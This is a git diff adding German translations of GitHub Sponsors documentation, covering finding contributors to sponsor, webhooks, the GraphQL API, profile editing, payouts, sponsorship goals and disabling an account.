@@ -0,0 +1,18 @@
+---
+title: Erste Schritte mit GitHub Sponsors
+intro: 'Erfahre mehr über {% data variables.product.prodname_sponsors %} und wie du dich als Sponsor oder Open-Source-Mitwirkender einbringen kannst.'
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-github-sponsors
+  - /quickstart-for-finding-contributors-to-sponsor
+shortTitle: Getting started
+ms.openlocfilehash: b0d2baf20625b168346a18b3a546ec66e4416d16
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147879163'
+---
+
diff --git a/translations/de-DE/content/sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor.md b/translations/de-DE/content/sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor.md
new file mode 100644
index 0000000000..98e02881b9
--- /dev/null
+++ b/translations/de-DE/content/sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor.md
@@ -0,0 +1,58 @@
+---
+title: Schnellstart für die Suche nach Mitwirkenden zum Sponsern
+intro: 'Lerne einige bewährte Methoden, Open Source-Mitwirkende als Sponsoren zu suchen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: quick_start
+topics:
+  - Open Source
+shortTitle: Quickstart
+ms.openlocfilehash: 334d0b78547732480d0bcf708c1d2194eebbae17
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106012'
+---
+## Erkunden von Projekten, von denen du abhängig bist
+
+Wenn du Open Source-Mitwirkende zum Sponsern finden möchtest, ist https://github.com/sponsors/community ggf. ein guter Ausgangspunkt.
+
+Wenn du angemeldet bist, werden zuerst Sponsorergebnisse mit öffentlichen Abhängigkeiten angezeigt, von denen deine Repositorys abhängig sind.
+
+![Das Open Source-Projekt Babel mit hervorgehobenem Text „4 deiner Repositorys sind hiervon abhängig.“](/assets/images/help/sponsors/example-of-open-source-project-dependency.png)
+
+Du kannst auch festlegen, für welche deiner Konten Ergebnisse angezeigt werden sollen, und weiter filtern oder suchen.
+
+![Suchoptionen auf der Community-Suchseite für Sponsoren](/assets/images/help/sponsors/sponsors-search-options.png)
+
+## Entdecken, wen andere sponsern
+
+Du kannst auf der {% data variables.product.prodname_dotcom %}-Profilseite anzeigen, wen ein Benutzer oder eine Organisation sponsert.
+
+## Überlegen, wie du von verschiedenen Beiträgen profitierst
+
+Überlege, ob du von Open Source-Beiträgen profitierst, z. B.:
+ - Dokumentation
+ - Entwurf
+ - Sprachübersetzung
+ - Newsletter
+ - Codebewertungen
+ - Tutorials
+ - Mentoring
+ - Selektion von Issues und Hilfe bei der Projektverwaltung
+ - Beantworten von Fragen
+ - Eventplanung
+
+Weitere Informationen zu verschiedenen Arten von Open Source-Beiträgen findest du im [Open Source-Leitfaden](https://opensource.guide/how-to-contribute/#you-dont-have-to-contribute-code).
+
+Du kannst überprüfen, ob Mitwirkende, von denen du profitiert hast, über {% data variables.product.prodname_sponsors %}-Profile verfügen. Verwende dazu die Suche unter https://github.com/sponsors/community.
+
+## Suchen nach einem bestimmten Projekt oder Mitwirkenden
+
+Unter https://github.com/sponsors/community kannst du anhand verschiedener Kriterien suchen (z. B. „Ökosystem“, „am häufigsten verwendet“, „zuletzt aktualisiert“ usw.). Du kannst Suchergebnisse für dein persönliches Konto oder für Organisationen filtern, bei denen du Mitglied bist.
+
+## Nächste Schritte
+
+Weitere Informationen zum Starten des Sponsorings findest du unter [Unterstützen eines Open-Source-Mitwirkenden](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor).
diff --git a/translations/de-DE/content/sponsors/guides.md b/translations/de-DE/content/sponsors/guides.md
new file mode 100644
index 0000000000..dfee773459
--- /dev/null
+++ b/translations/de-DE/content/sponsors/guides.md
@@ -0,0 +1,25 @@
+---
+title: Leitfäden zu GitHub Sponsors
+shortTitle: Guides
+intro: 'Erfahre, wie du das Beste aus {% data variables.product.prodname_sponsors %} herausholen kannst.'
+allowTitleToDifferFromFilename: true
+layout: product-guides
+versions:
+  fpt: '*'
+  ghec: '*'
+includeGuides:
+  - /sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor
+  - /sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization
+  - /sponsors/sponsoring-open-source-contributors/managing-your-sponsorship
+  - /sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors
+  - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account
+  - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization
+  - /sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account
+ms.openlocfilehash: 334f25f2ee44fb7a69c13745f3b0d883ed499fbc
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145133997'
+---
+
diff --git a/translations/de-DE/content/sponsors/index.md b/translations/de-DE/content/sponsors/index.md
new file mode 100644
index 0000000000..970dd6009d
--- /dev/null
+++ b/translations/de-DE/content/sponsors/index.md
@@ -0,0 +1,51 @@
+---
+title: GitHub-Sponsorendokumentation
+shortTitle: GitHub Sponsors
+intro: 'Investiere in die Open Source-Projekte, auf die du angewiesen bist, unterstütze die digitale Infrastruktur und ermögliche Open Source-Karrieren, indem du Open Source-Mitwirkende und deren Projekte förderst. Erstelle ein {% data variables.product.prodname_sponsors %}-Profil, und erhalte eine Vergütung für deine Open Source-Arbeit.'
+introLinks:
+  quickstart: /sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor
+redirect_from:
+  - /categories/supporting-the-open-source-community-with-github-sponsors
+  - /github/supporting-the-open-source-community-with-github-sponsors
+changelog:
+  label: sponsors
+examples_source: data/product-examples/sponsors/user-examples.yml
+featuredLinks:
+  guides:
+    - /sponsors/sponsoring-open-source-contributors/managing-your-sponsorship
+    - /sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization
+    - /sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors
+  guideCards:
+    - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account
+    - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization
+    - /sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account
+  popular:
+    - /sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor
+    - /sponsors/getting-started-with-github-sponsors/about-github-sponsors
+    - /sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors
+    - /sponsors/sponsoring-open-source-contributors
+    - /sponsors/about-github-sponsors-for-open-source-contributors
+layout: product-landing
+versions:
+  fpt: '*'
+  ghec: '*'
+communityRedirect:
+  name: Provide GitHub Feedback
+  href: 'https://github.com/orgs/community/discussions/categories/sponsors'
+children:
+  - /getting-started-with-github-sponsors
+  - /sponsoring-open-source-contributors
+  - /receiving-sponsorships-through-github-sponsors
+  - /integrating-with-github-sponsors
+  - /guides
+ms.openlocfilehash: 1878df4a6915a3e1336f79705d4ac4e70794e7ed
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876813'
+---
+<!---->
+<!---->
+<!---->
+<!---->
diff --git a/translations/de-DE/content/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md b/translations/de-DE/content/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md
new file mode 100644
index 0000000000..bfce17e7e1
--- /dev/null
+++ b/translations/de-DE/content/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md
@@ -0,0 +1,28 @@
+---
+title: Webhooks für Ereignisse in deinem unterstützten Konto konfigurieren
+intro: 'Du kannst Webhooks konfigurieren, damit du benachrichtigt wirst, wenn du ein neues Sponsoring erhältst, oder wenn bestehende Sponsoren Änderungen an ihren Sponsorings machen.'
+redirect_from:
+  - /github/supporting-the-open-source-community-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Webhooks
+  - Events
+  - Open Source
+shortTitle: Webhooks for events
+ms.openlocfilehash: 2ac78162ae29c10861c7bf3bad8c18b9e0a56ccf
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106011'
+---
+## Informationen zu Webhooks für Ereignisse in deinem gesponserten Konto
+
+Damit Du Änderungen wie zum Beispiel die Kündigung eines Sponsorings am Ende der Zahlungsperiode überwachen kannst, kannst Du Webhooks für Deine unterstützten Benutzer- oder Organisations-Konten erstellen. Wenn du einen Webhook für Dein gesponsertes Konto einrichtest, erhältst du Updates, wenn Sponsorings erstellt, bearbeitet oder gelöscht werden. Weitere Informationen findest du im [Webhook-Ereignis `sponsorship`](/webhooks/event-payloads/#sponsorship).
+
+## Verwalten von Webhooks für Ereignisse in deinem gesponserten Konto
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-webhooks-tab %} {% data reusables.sponsors.add-webhook %} {% data reusables.sponsors.add-payload-url %} {% data reusables.sponsors.webhook-content-formatting %} {% data reusables.sponsors.webhook-secret-token %} {% data reusables.sponsors.add-active-triggers %} {% data reusables.sponsors.confirm-add-webhook %} {% data reusables.sponsors.manage-existing-webhooks %}
diff --git a/translations/de-DE/content/sponsors/integrating-with-github-sponsors/getting-started-with-the-sponsors-graphql-api.md b/translations/de-DE/content/sponsors/integrating-with-github-sponsors/getting-started-with-the-sponsors-graphql-api.md
new file mode 100644
index 0000000000..0401054d7b
--- /dev/null
+++ b/translations/de-DE/content/sponsors/integrating-with-github-sponsors/getting-started-with-the-sponsors-graphql-api.md
@@ -0,0 +1,21 @@
+---
+title: Erste Schritte mit der GraphQL-API für Sponsoren
+intro: 'Mit der GraphQL-API kannst du benutzerdefinierte Integrationen erstellen, um deine Sponsorings zu verwalten oder zu überprüfen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - GraphQL
+  - API
+shortTitle: Sponsors GraphQL API
+ms.openlocfilehash: 1afbeef41cfbc0aa5bd51b2edb6fa475244b04a5
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147081072'
+---
+Erste Schritte mit der GraphQL-API findest du unter [Einführung in GraphQL](/graphql/guides/introduction-to-graphql).
+
+Details zur GraphQL-API für Sponsoren findest du in der Referenzdokumentation. Weitere Informationen findest du unter [GraphQL-Referenz](/graphql/reference). Es wird empfohlen, den GraphQL-Explorer zum Erstellen von GraphQL-Aufrufen zu verwenden. Weitere Informationen findest du unter [Verwenden des Explorers](/graphql/guides/using-the-explorer).
diff --git a/translations/de-DE/content/sponsors/integrating-with-github-sponsors/index.md b/translations/de-DE/content/sponsors/integrating-with-github-sponsors/index.md
new file mode 100644
index 0000000000..33ce941ffe
--- /dev/null
+++ b/translations/de-DE/content/sponsors/integrating-with-github-sponsors/index.md
@@ -0,0 +1,18 @@
+---
+title: Integration in GitHub Sponsors
+intro: 'Als Open Source-Mitwirkender kannst du benutzerdefinierte Tools erstellen, um deine GitHub-Sponsoren zu verwalten.'
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /configuring-webhooks-for-events-in-your-sponsored-account
+  - /getting-started-with-the-sponsors-graphql-api
+shortTitle: Integrate with GitHub Sponsors
+ms.openlocfilehash: b8d60be02230221c5df44250c21c1a0577e70975
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145133833'
+---
+
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md
new file mode 100644
index 0000000000..9ea726a7ae
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md
@@ -0,0 +1,53 @@
+---
+title: Über GitHub Sponsors für Open-Source-Mitwirkende
+intro: 'Wenn du einen Mehrwert für ein Open-Source-Projekt bietest, kannst du ein „unterstützter Entwickler" werden, um für deine Arbeit eine Vergütung zu erhalten.'
+redirect_from:
+  - /articles/about-github-sponsors-for-sponsored-developers
+  - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors-for-sponsored-developers
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Open Source
+  - Fundamentals
+shortTitle: Open source contributors
+ms.openlocfilehash: 4f615dd472873ec9a1e77d0232ceb35bd4ea43a3
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145149708'
+---
+## {% data variables.product.prodname_sponsors %} beitreten
+
+{% data reusables.sponsors.you-can-be-a-sponsored-developer %} Weitere Informationen findest du unter [Einrichten von {% data variables.product.prodname_sponsors %} für deine Organisation](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account).
+
+{% data reusables.sponsors.you-can-be-a-sponsored-organization %} Weitere Informationen findest du unter [Einrichten von {% data variables.product.prodname_sponsors %} für deine Organisation](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization).
+
+Nachdem Du {% data variables.product.prodname_sponsors %} beigetreten bist, kannst Du die Sponsorenschaltfläche zum Open-Source-Repository hinzufügen, an dem Du mitwirkst. Dadurch erhöhst Du die Sichtbarkeit Deines {% data variables.product.prodname_sponsors %}-Profils und von anderen Finanzierungsplattformen. Weitere Informationen findest du unter [Anzeigen einer Sponsoringschaltfläche in deinem Repository](/articles/displaying-a-sponsor-button-in-your-repository).
+
+Du kannst für Dein Sponsoring ein Ziel setzen. Weitere Informationen findest du unter [Verwalten deines Sponsoringziels](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal).
+
+{% data reusables.sponsors.github-contact-applicants %}
+
+## Sponsoring-Stufen
+
+{% data reusables.sponsors.tier-details %} Weitere Informationen findest du unter [Einrichten von {% data variables.product.prodname_sponsors %} für dein persönliches Konto](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account), [Einrichten von {% data variables.product.prodname_sponsors %} für deine Organisation](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization) und [Verwalten von Sponsoringebenen](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers).
+
+Am besten richtest du eine Reihe verschiedener Sponsoringoptionen ein, einschließlich monatlicher und einmaliger Ebenen, um die Unterstützung deiner Arbeit so einfach wie möglich zu machen. Insbesondere ermöglichen einmalige Zahlungen es Sponsoren, deine Bemühungen zu belohnen, ohne sich Gedanken darüber zu machen, ob ihre Finanzen regelmäßige Zahlungen erlauben.
+
+## Sponsoring-Auszahlungen
+
+{% data reusables.sponsors.no-fees %}
+
+{% data reusables.sponsors.payout-info %}
+
+Weitere Informationen findest du unter [Verwalten deiner Auszahlungen von {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors).
+
+## Feedback zu {% data variables.product.prodname_sponsors %} geben
+
+{% data reusables.sponsors.feedback %}
+
+## Weiterführende Themen
+- [Häufig gestellte Fragen für das {% data variables.product.prodname_sponsors %}-Team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/) im {% data variables.product.prodname_blog %}
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors.md
new file mode 100644
index 0000000000..fc7daed2da
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors.md
@@ -0,0 +1,29 @@
+---
+title: Ihre Sponsoren kontaktieren
+intro: 'Du kannst eine E-Mail an Deine Sponsoren senden, wenn diese den Erhalt von Aktualisierungen zu Deiner Arbeit abonniert haben.'
+redirect_from:
+  - /articles/contacting-your-sponsors
+  - /github/supporting-the-open-source-community-with-github-sponsors/contacting-your-sponsors
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Open Source
+  - Contacting sponsors
+ms.openlocfilehash: be107990d079830ecde6c032ea7a2632279c76c7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145133993'
+---
+## Informationen zu Sponsoringupdates
+
+Deine Sponsoren können auswählen, ob sie per E-Mail über Deine Arbeit auf dem Laufenden gehalten werden möchten. Weitere Informationen findest du unter [Verwalten deines Sponsorings](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship).
+
+Bei gesponserten Entwicklerkonten wird das Update von der primären E-Mail-Adresse deines persönlichen Kontos gesendet. Wenn du in deinem persönlichen Konto den Datenschutz für E-Mail-Adressen aktiviert hast, wird das Update stattdessen über `noreply@github.com` gesendet. Bei gesponserten Organisationen wird das Update über die E-Mail-Adresse `noreply@github.com` der Organisation gesendet. Weitere Informationen findest du unter [Festlegen der Commit-E-Mail-Adresse](/articles/setting-your-commit-email-address).
+
+## Ihre Sponsoren kontaktieren
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.sponsors-updates-tab %} {% data reusables.sponsors.draft-new-update %} {% data reusables.sponsors.send-update-to-sponsors %} {% data reusables.sponsors.write-sponsor-update %} {% data reusables.sponsors.publish-sponsor-update %}
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/disabling-your-github-sponsors-account.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/disabling-your-github-sponsors-account.md
new file mode 100644
index 0000000000..bd83983919
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/disabling-your-github-sponsors-account.md
@@ -0,0 +1,31 @@
+---
+title: Deaktivieren deines GitHub Sponsors-Kontos
+intro: 'Wenn du nicht mehr an {% data variables.product.prodname_sponsors %} teilnehmen möchtest, kannst du dein {% data variables.product.prodname_sponsors %}-Konto deaktivieren.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Open Source
+  - Sponsors payments
+shortTitle: Disable your account
+ms.openlocfilehash: 52098a056da3e743d9fe127fc573cd96ec2821b0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145133830'
+---
+Wenn du Sponsorenzahlungen erhältst, musst du dich an den GitHub-Support wenden, um dein {% data variables.product.prodname_sponsors %}-Konto zu deaktivieren.
+
+Wenn du keine Sponsoren hast, dann kannst du dein {% data variables.product.prodname_sponsors %}-Konto auf GitHub deaktivieren.
+
+Wenn du dich entscheidest, erneut ein {% data variables.product.prodname_sponsors %}-Konto zu erstellen, musst du dich neu bewerben.
+
+Alternativ kannst du die Veröffentlichung deines Sponsors-Profils rückgängig machen und dann das Konto erneut veröffentlichen, ohne dich erneut zu bewerben. Weitere Informationen findest du unter [Aufheben der Veröffentlichung deines {% data variables.product.prodname_sponsors %}-Profils](/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile).
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.settings-tab %}
+1. Klicke unter „GitHub Sponsors-Konto deaktivieren“ auf **Konto deaktivieren**.  
+  ![Schaltfläche „Konto deaktivieren“](/assets/images/help/sponsors/disable-your-account-button.png)
+2. Klicke zur Bestätigung auf **GitHub Sponsors-Konto deaktivieren**.
+  ![Schaltfläche „GitHub Sponsors-Konto deaktivieren“](/assets/images/help/sponsors/disable-github-sponsors-account-dialog.png)
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors.md
new file mode 100644
index 0000000000..5d8f873ccf
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors.md
@@ -0,0 +1,32 @@
+---
+title: Die Details Deines GitHub Sponsors-Profil bearbeiten
+intro: 'Du kannst die Informationen aktualisieren, die potenziellen Sponsoren zu deiner Arbeit angezeigt werden.'
+redirect_from:
+  - /articles/editing-your-sponsored-developer-profile
+  - /github/supporting-the-open-source-community-with-github-sponsors/editing-your-sponsored-developer-profile
+  - /github/supporting-the-open-source-community-with-github-sponsors/editing-your-profile-details-for-github-sponsors
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Sponsors profile
+  - Open Source
+shortTitle: Edit profile details
+ms.openlocfilehash: bf242d05576ee997b72b15a8933f063e867209e1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884502'
+---
+## Über Sponsoren-Profile
+
+Dein {% data variables.product.prodname_sponsors %}-Profil informiert potentielle Sponsoren, warum sie Dich unterstützten sollten. Personen sehen dein Sponsorenprofil, wenn sie auf deinem Profil auf die Schaltfläche **Sponsor** klicken. Wir empfehlen Dir, die folgenden Informationen einzuschließen.
+
+- Open-Source-Arbeit, zu der du beiträgst.
+- Warum du dich für Open-Source-Entwicklung einsetzt.
+
+## Bearbeiten deiner Profildetails
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-profile-tab %} {% data reusables.sponsors.short-bio %} {% data reusables.sponsors.add-introduction %} {% data reusables.sponsors.edit-featured-work %} {% data reusables.sponsors.opt-in-to-being-featured %} {% data reusables.sponsors.save-profile %}
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/index.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/index.md
new file mode 100644
index 0000000000..53f7422860
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/index.md
@@ -0,0 +1,33 @@
+---
+title: Sponsoring über GitHub Sponsors erhalten
+shortTitle: Receiving sponsorships
+intro: 'Du oder Deine Organisation können unterstützte Open-Source-Mitwirkende werden, um Zahlungen für Eure Arbeit zu erhalten, die Sponsoring-Details zu aktualisieren sowie Eure Sponsoren zu sehen und zu kontaktieren.'
+redirect_from:
+  - /articles/receiving-sponsorships-as-a-sponsored-developer
+  - /github/supporting-the-open-source-community-with-github-sponsors/receiving-sponsorships-as-a-sponsored-developer
+  - /github/supporting-the-open-source-community-with-github-sponsors/receiving-sponsorships-through-github-sponsors
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-github-sponsors-for-open-source-contributors
+  - /setting-up-github-sponsors-for-your-personal-account
+  - /setting-up-github-sponsors-for-your-organization
+  - /using-a-fiscal-host-to-receive-github-sponsors-payouts
+  - /editing-your-profile-details-for-github-sponsors
+  - /managing-your-sponsorship-goal
+  - /managing-your-sponsorship-tiers
+  - /viewing-your-sponsors-and-sponsorships
+  - /managing-your-payouts-from-github-sponsors
+  - /contacting-your-sponsors
+  - /tax-information-for-github-sponsors
+  - /disabling-your-github-sponsors-account
+  - /unpublishing-your-github-sponsors-profile
+ms.openlocfilehash: d7d3b8f98e7acf74ee24e7cf705f0ddb3c5d4b26
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108298'
+---
+
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors.md
new file mode 100644
index 0000000000..9270847d32
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors.md
@@ -0,0 +1,30 @@
+---
+title: Verwalten deiner Auszahlungen von GitHub-Sponsoren
+intro: 'Du kannst Informationen zu vergangenen und künftigen Auszahlungen von {% data variables.product.prodname_sponsors %} einsehen und deine Bankdaten bearbeiten.'
+redirect_from:
+  - /articles/managing-your-payouts-from-github-sponsors
+  - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-payouts-from-github-sponsors
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Sponsors payments
+  - Open Source
+shortTitle: Manage payouts
+ms.openlocfilehash: 223deb6a68cbf900e985ba08e8ab3ed3eaf19238
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147876969'
+---
+## Informationen zu Auszahlungen von {% data variables.product.prodname_sponsors %}
+
+Du kannst deine Auszahlungen von {% data variables.product.prodname_sponsors %} nur dann verwalten, wenn du über Stripe Connect bezahlt wirst. Wenn die Zahlungen für dein gesponsertes persönliches Konto per ACH-Überweisung oder Banküberweisung erfolgen, wird die Registerkarte **Auszahlungen** in deinem Dashboard für gesponserte Open-Source-Mitarbeiter nicht angezeigt. Unterstützte Organisationen können nur Stripe Connect für Auszahlungen verwenden. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_sponsors %} für Open-Source-Mitwirkende](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors#sponsorship-payouts).
+
+{% data reusables.sponsors.payout-info %}
+
+## Anzeigen und Bearbeiten von Auszahlungsinformationen
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-payouts-tab %} {% data reusables.sponsors.edit-bank-information %}
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal.md
new file mode 100644
index 0000000000..c734ed8ac3
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal.md
@@ -0,0 +1,42 @@
+---
+title: Deine Sponsoring-Ziele verwalten
+intro: 'Du kannst ein Ziel für das Konto des oder der gesponserten Entwickler*in oder der gesponserten Organisationen festlegen, damit die Community die Auswirkungen versteht, die das Sponsorings auf dich hat.'
+redirect_from:
+  - /github/supporting-the-open-source-community-with-github-sponsors/manage-your-sponsorship-goal
+  - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-goal
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Open Source
+  - Sponsors profile
+shortTitle: Manage sponsor goals
+ms.openlocfilehash: 53d814dfe96baa603fc1514da93252450d93df17
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145133805'
+---
+## Über Sponsoring-Ziele
+
+Du kannst ein Finanzierungsziel für dein gesponsertes Konto festlegen und das Ziel mit deiner Community teilen. Ziele helfen Dir, die Auswirkungen zu verstehen, die du in der Open-Source-Community hast, und deine Präsenz im {% data variables.product.prodname_sponsors %}-Programm zu erweitern.
+
+Du kannst ein Ziel für die Anzahl der Sponsoren festlegen, die du suchst, oder den Geldbetrag, den du jeden Monat erzielen möchtest. Du kannst jeweils nur ein Ziel festlegen. Nachdem du ein Ziel erreicht hast, kannst du ein neues Ziel setzen.
+
+## Festlegen eines Ziels
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-your-goals-tab %} {% data reusables.sponsors.set-a-goal %} {% data reusables.sponsors.select-goal-type %} {% data reusables.sponsors.publish-goal %}
+
+## Ein Ziel bearbeiten
+
+Wenn du ein Ziel bearbeitest, kannst du kein Ziel wählen, das du bereits erreicht hast. Wenn du beispielsweise bereits 5 Sponsoren hast, kannst du dein Ziel nicht dahingehend bearbeiten, dass du nur 4 Sponsoren suchst.
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-your-goals-tab %} {% data reusables.sponsors.edit-goal %} {% data reusables.sponsors.select-goal-type %} {% data reusables.sponsors.publish-goal %}
+
+## Ein Ziel zurückziehen
+
+Wenn du ein Ziel zurückziehst, kannst du es nicht mehr reaktivieren. Du musst stattdessen ein neues Ziel erstellen.
+
